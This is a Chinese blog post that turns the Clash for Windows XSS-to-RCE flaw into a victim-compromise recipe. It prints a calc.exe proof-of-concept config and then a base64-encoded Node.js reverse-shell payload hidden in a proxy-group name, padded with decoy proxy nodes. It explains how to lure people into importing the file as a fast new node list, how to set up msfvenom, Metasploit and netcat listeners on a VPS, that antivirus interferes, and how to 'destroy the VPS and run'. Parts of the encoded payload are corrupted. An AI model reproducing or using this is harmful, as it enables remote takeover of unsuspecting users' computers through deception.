Clash RCE漏洞复现与高级利用(配合一点社工)

0x00 漏洞概述

大约在2月25日吧,还是24号晚上来着,Clash爆出了一个漏洞,XSS引发的命令执行。https://github.com/Fndroid/clash_for_windows_pkg

于是在网上看到的都是一个打开计算器的复现方法,这算哪门子的漏洞利用???不得不承认,大多数安全测试人员为了发布第一手信息,在自己还没有真正搞明白的情况下,就开始博取眼球,真心反感这种行为。想要做hacker,请耐得住寂寞,请眼中仅有目标而非路过的花花草草。

为此在这里做了一个漏洞利用,即扩大危害的复现——利用Clash RCE上线。本文参考保哥大神的操作,特此声明!

0x01 影响范围

Clash windows 0.19.08以下,目前已经更新了,安装0.19.10即可

image-20220228114629273

0x02 POC与原理分析

典型的XSS payload ——img标签配合onerror事件,调用一个系统命令eval函数,执行了calc.exe

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

0x03 漏洞复现与利用

基本复现

我觉着像网上别人那样简单的复现,仅仅弹一个计算器,那是真复现。

也就是知道仅仅知道存在个漏洞,拿别人的POC直接打了一遍。但还是没有利用上。怎么利用这个漏洞扩大危害甚至让对方上线,这就需要一定的研究了。

image-20220228114726145

高级复现利用——先来学几个小知识点

这几个知识点,可能大多数人并不了解,需要大量的各方面开发经验,当然开发不要做那么深入,大致了解,至少能看懂这是干啥的,这是什么框架编写的即可。渗透测试,必须要有开发基础,而开发基础是需要长时间地深入研究与学习的。

1、Clash这款软件是基于electron开发的,底层用的是node.js。

2、details标签与ontoggle事件

当 <details> 元素在打开或关闭时执行 JavaScript:
<details ontoggle="myFunction()">

3、atob方法与btoa方法

atob() ————————————> 解码 base-64 编码的字符串。

btoa() ————————————> 编码 base-64 。

这不就是和Go语言的ItoA一样嘛,atob()就是ascii to base64,反之亦然

4、MSFvenom可以搜索payload

msfvenom --list payload | grep windows/x64

image-20220228132235157

5、MSF生成上线payload

基于electron和nwjs开发的app(这里的app广义,包含PC端也包含移动端),存在xss都可以用MSF这个payload

msfvenom -p nodejs/shell_reverse_tcp LHOST=MyIP LPORT=65500 -f raw -o payload.js

image-20220228141844957

6、将payload复制下来,然后base64加密即可

IChmdW5jdGlvbigpeyB2YXIgcmVxdWlyZSA9IGdsb2JhbC5yZXF1aXJlIHx8IGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUuY29uc3RydWN0b3IuX2xvYWQ7IGlmICghcmVxdWlyZSkgcmV0dXJuOyB2YXIgY21kID0gKGdsb2JhbC5wcm9jZXNzLnBsYXRmb3JtLm1hdGNoKC9ed2luL2kpKSA/ICJjbWQiIDogIi9iaW4vc2giOyB2YXIgbmV0ID0gcmVxdWlyZSgibmV0IiksIGNwID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLCB1dGlsID0gcmVxdWlyZSgidXRpbCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50Ihhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh0LnBpcGUoc2guc3RkaW4pOyBpZiAodHlwZW9mIHV0aWwucHVtcCA9PT0gInVuZGVmaW5lZCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbigiZXJyb3IiLCBmdW5jdGlvbihlcnJvcikgeyBjb3VudGVyKys7IGlmKGNvdW50ZXI8PSAxMCl7IHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IFN0YWdlclJlcGVhdCgpO30sIDUqMTAwMCk7IH0gZWxzZSBwcm9jZXNzLmV4aXQoKTsgfSk7IH0gU3RhZ2VyUmVwZWF0KCk7IH0pKCk7

0x04 漏洞利用——构造payload以及上线

前面的知识点分析看完后,对这里面的关键代码就能看懂了吧。那么前面和后面的其他代码是什么意思呢?

其实就是代理文件yaml而已,可以多加一些用于社工,欺骗别人,顶级社工。

而且这里也涉及到文件上传的思想,有时候你使用一句话上传根本就无法解析和链接蚁剑,但是随便加100行垃圾字符,什么都可以,反而连接上了。

这可能就是图片文件大小过于小触发了流量监控或者代码层waf导致上传失败。这里同理,既可以达到混淆,欺骗用户的效果,也可以增加容错率。


proxies:
    - { name: 🇷🇺大宽带预留, type: ss, server: xxxxxx.tpxx.top, port: 11901, cipher: chacxxy1305, password: cdx2cxx91b, udp: true }
    ...
    ...
    ...
    
    - 
        name: <details ontoggle=eval(atob('KGZ1bmN0aW9uKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gImNtZCIgOiAiL2Jpbi9zaCI7IHZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgY3AgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksIHV0aWwgPSByZXF1aXJlKCJ1dGlsIiksIHNoID0gY3Auc3Bhd24oY21kLCBbXSk7IHZhciBjbGllbnQgPSB0aGlzOyB2YXIgY291bnRlcj0wOyBmdW5jdGlvbiBTdGFnZXJSZXBlYXQoKXsgY2xpZW50LnNvY2tldCA9IG5ldC5jb25uZWN0KDY1NTAhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhgeyBjbGllbnQuc29ja2V0LnBpcGUoc2guc3RkaW4pOyBpZiAodHlwZW9mIHV0aWwucHVtcCAhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh0LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbigiZXJyb3IiLCBmdW5jdGlvbihlcnJvcikgeyBjb3VudGVyKys7IGlmKGNvdW50ZXI8PSAxMCl7IHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IFN0YWdlclJlcGVhdCgpO30sIDUqMTAwMCk7IH0gZWxzZSBwcm9jZXNzLmV4aXQoKTsgfSk7IH0gU3RhZ2VyUmVwZWF0KCk7IH0pKCk7')); open=></details>
        type: select
        proxies: 
            - 蜂c
            - autoselect

rules:
    - 'DOMAIN,asdadsa.asdasd.asd.top,DIRECT'
   ....
   ....
   ....

1、将构造好的payload保存到文件里面,如蜂巢.yaml,放入公网VPS上,美其名曰:最新配置文件,节点更新,速度快,什么NEWX CLASS各种扯就完事儿了,就是顶级社工诱导别人下载:

image-20220228150127473

image-20220305221123101

2、受害者下载后,导入这个文件

image-20220228134040790

3、公网VPS上的MSF开启监听,由于是ubuntu,别忘了ufw allow 65500允许端口开放。

经过我多次的测试,各种开启监听的方式都试过了,但是回来的session都很容易断掉。原因其实很简单,就是火绒拦截了。。

handler -H 0.0.0.0 -P 65500 -p php/meterpreter/reverse_tcp

#############################################################
use exploit/multi/handler
set payload nodejs/shell_reverse_tcp

#############################################################
nc -lvvp 65500

image-20220228134224900

其实尽管火绒拦截,在这里随便点击多次,就会发现成功了。只不过很不稳定,刚收到,可能就会直接断掉了。

image-20220228134926839

image-20220228134840796

image-20220228143414563

好了,关了火绒就完全OK了

image-20220228143721090

销毁VPS,跑路

image-20220228144357554

0x05 总结

1、只要是基于electron和nwjs开发的app(这里的app广义,包含PC端也包含移动端),存在xss都可以用MSF这个payload和对应的监听方法

msfvenom -p nodejs/shell_reverse_tcp LHOST=MyIP LPORT=65500 -f raw -o payload.js
################################################################################
use exploit/multi/handler
set payload nodejs/shell_reverse_tcp
set lhost <IP>
set lport <port>

2、火绒yyds,其实可以做一个免杀来绕过火绒的,但是这里我就暂时不研究了。

3、在研究如何让对方上线,其实最关键的就是对Clash这款软件开发的认知。所以做渗透测试,没有开发基础是不行的,不求你开发多么多么强,但是至少要认识,并且能够通过已知的知识联想到相关渗透操作,这是需要时间的经验的积累,以及平时知识广度的不断发散的。或许这就是武林高手的内功吧,就算有了独孤九剑,内功不够,也不能做到手中无剑而心中有剑的最高境界。

posted @ 2022-02-28 15:13  sukusec不觉水流  阅读(252)  评论(0编辑  收藏  举报